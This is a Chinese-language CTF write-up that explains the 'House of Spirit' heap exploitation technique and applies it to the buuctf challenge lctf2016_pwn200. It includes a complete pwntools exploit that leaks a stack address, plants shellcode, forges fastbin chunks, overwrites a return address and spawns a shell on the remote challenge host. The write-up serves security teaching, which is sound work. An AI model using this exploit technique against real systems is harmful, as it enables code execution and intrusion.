House of spirit
-
实现目的
- malloc分配到目标地址
-
实现条件
- free的参数可控
- 目标地址可以连续构造两个fake chunk的size域,需要地址对齐(即目标高低地址处均有可控区域)
-
实现方法
- 在目标地址伪造可以被释放到fastbin上的fake chunk
- 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域
- 将目标地址作为参数free
- malloc一次,将返回指向目标地址的指针
-
实现实例
-
题目平台
- buuctf
-
题目名称
- lctf2016_pwn200
-
分析步骤
- 常规检查
防护全闭
- 逐步分析
输入名字时没有溢出,但是存在泄露
根据栈帧结构,被泄露的地方应该是rbp
经过gdb调试,确认是rbp,我们可以通过被泄露的rbp推算其他栈上的地址了
继续分析,在获取id时仅能输入三位,并且只能输入数字
ida伪c代码中有一部分并没有显示完全
尽管看上去get_id的返回值没有被保存
但事实上……
从汇编代码可以看出,get_id的值被保存在了name的上面
进入get_money
首先malloc了一个0x40的chunk,向其中输入最多0x40个字 节,然后将chunk位置保存在全局变量ptr中
在向chunk中读入内容时存在溢出
可以修改被保存在ptr上的chunk位置
在用户选单中,选择out会把ptr上保存的chunk立即free掉,并将ptr置零,选择in会检测ptr是否为0,如果为0则malloc一个大小在0~0x80内的chunk
通过对伪代码的分析,可以发现程序的结构是函数一个个的调用,这种结构很容易造成返回地址的低地址和高地址可控。同时,由于第一次申请chunk时存在的溢出,可以控制一次free的参数,满足house of spirit的条件
在gdb调试的过程中可以发现,0x7fffffffdf78保存了我们输入的id,而0x7fffffffdf10保存了我们输入第一个堆块的内容,0x7fffffffdf10往下0x40个字节都是我们的可控位置,在二者之间保存了get_money的返回地址
- 此时完整的攻击思路出来了
- 利用get_name处的泄漏点获取栈地址,并写入shellcode
- 在get_id处伪造fake chunk的下一个chunk(物理上的)的saze域
- 在get_money处伪造fake chunk并利用溢出改写ptr上的值为fake chunk的地址
- free fake chunk
- malloc回来,改写返回地址为shellcode
- 选择退出,触发被改写的返回地址,执行shellcode
- getshell
- 按照思路编写writeup
- 泄露栈地址,写入shellcode
pay=asm(shellcraft.amd64.linux.sh(),arch="amd64") p.sendafter("who are u?",pay) p.recvuntil(pay) stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00")) print "stack add="+hex(stack_add) fake_chunk=stack_add-0xb0 name_add=stack_add-0x50
- 伪造fake chunk以及其后的chunk size
p.sendlineafter("give me your id ~~?","97") pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk) p.sendafter("give me money~",pay);
- free然后malloc回来
p.sendlineafter("your choice :","2") p.sendlineafter("your choice :","1") p.sendlineafter("how long?","80") pay="\x00"*0x38+p64(name_add) p.sendlineafter("give me more money :",pay);
- getshell
p.sendlineafter("your choice :","3")
- 泄露栈地址,写入shellcode
- 完整wp
from pwn import* from LibcSearcher import* context(arch='amd64',os='linux',log_level='debug') #p=process("./1") p=remote('node3.buuoj.cn','29646') elf=ELF("./1") pay=asm(shellcraft.amd64.linux.sh(),arch="amd64") p.sendafter("who are u?",pay) p.recvuntil(pay) stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00")) print "stack add="+hex(stack_add) fake_chunk=stack_add-0xb0 name_add=stack_add-0x50 p.sendlineafter("give me your id ~~?","97") pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk) p.sendafter("give me money~",pay); p.sendlineafter("your choice :","2") p.sendlineafter("your choice :","1") p.sendlineafter("how long?","80") pay="\x00"*0x38+p64(name_add) p.sendlineafter("give me more money :",pay); p.sendlineafter("your choice :","3") p.interactive()
- 运行效果
- 常规检查
-
-
总结:house of spirit的原理是绕过free到fastbin上的检查,使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数,并且两个函数在栈上都有可控区间的情况下,在这种情况下,我们可以通过house of spirit获得修改返回地址的能力,从而劫持程序流。